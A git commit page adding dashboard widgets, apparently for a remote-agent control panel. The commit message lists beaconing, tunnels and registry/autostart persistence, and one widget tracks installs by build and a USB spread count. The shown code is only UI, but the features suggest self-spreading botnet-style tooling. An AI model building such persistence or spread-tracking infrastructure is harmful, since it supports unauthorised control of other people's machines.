feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
@@ -0,0 +1,81 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { AuditEntry } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
|
||||
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
||||
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
||||
|
||||
useEffect(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
||||
const t = setInterval(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
|
||||
}, 60000);
|
||||
return () => clearInterval(t);
|
||||
}, [limit]);
|
||||
|
||||
return (
|
||||
<NeonCard accent="purple" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||
{entries.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||
) : (
|
||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
||||
{entries.map((e) => (
|
||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
|
||||
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||
{' '}
|
||||
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
|
||||
{' · '}
|
||||
<strong>{e.action}</strong>
|
||||
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export function SpreadFunnelWidget() {
|
||||
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
|
||||
}, []);
|
||||
|
||||
if (!stats) return null;
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{stats.by_build.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
<thead>
|
||||
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
|
||||
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{stats.by_build.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
<td>{r.count}</td>
|
||||
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user